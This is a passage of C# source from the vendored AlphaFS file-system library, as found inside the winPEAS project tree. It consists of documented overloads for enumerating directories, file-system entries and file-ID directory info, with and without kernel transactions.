/// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory instances in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory instances in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory instances in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileIdBothDirectoryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves information about files in the directory specified by in mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// A path to a directory from which to retrieve information. [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfo(string path) { return EnumerateFileIdBothDirectoryInfoCore(null, null, path, FileShare.ReadWrite, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves information about files in the directory specified by in mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// A path to a directory from which to retrieve information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfo(string path, PathFormat pathFormat) { return EnumerateFileIdBothDirectoryInfoCore(null, null, path, FileShare.ReadWrite, false, pathFormat); } /// [AlphaFS] Retrieves information about files in the directory specified by in specified mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// A path to a directory from which to retrieve information. /// The mode with which to open a handle to the directory. [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfo(string path, FileShare shareMode) { return EnumerateFileIdBothDirectoryInfoCore(null, null, path, shareMode, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves information about files in the directory specified by in specified mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// A path to a directory from which to retrieve information. /// The mode with which to open a handle to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfo(string path, FileShare shareMode, PathFormat pathFormat) { return EnumerateFileIdBothDirectoryInfoCore(null, null, path, shareMode, false, pathFormat); } /// [AlphaFS] Retrieves information about files in the directory handle specified. /// An IEnumerable of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// An open handle to the directory from which to retrieve information. [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfo(SafeFileHandle handle) { // FileShare has no effect since a handle is already opened. return EnumerateFileIdBothDirectoryInfoCore(null, handle, null, FileShare.ReadWrite, false, PathFormat.RelativePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves information about files in the directory specified by in mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// The transaction. /// A path to a directory from which to retrieve information. [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path) { return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, FileShare.ReadWrite, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves information about files in the directory specified by in mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// The transaction. /// A path to a directory from which to retrieve information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, FileShare.ReadWrite, false, pathFormat); } /// [AlphaFS] Retrieves information about files in the directory specified by in specified mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// The transaction. /// A path to a directory from which to retrieve information. /// The mode with which to open a handle to the directory. [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, FileShare shareMode) { return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, shareMode, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves information about files in the directory specified by in specified mode. /// An enumeration of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// The transaction. /// A path to a directory from which to retrieve information. /// The mode with which to open a handle to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, FileShare shareMode, PathFormat pathFormat) { return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, shareMode, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntries.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of file names and directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of file system entries in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of file system entries in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntries(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntries(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntriesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of file system entries in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, PathFormat 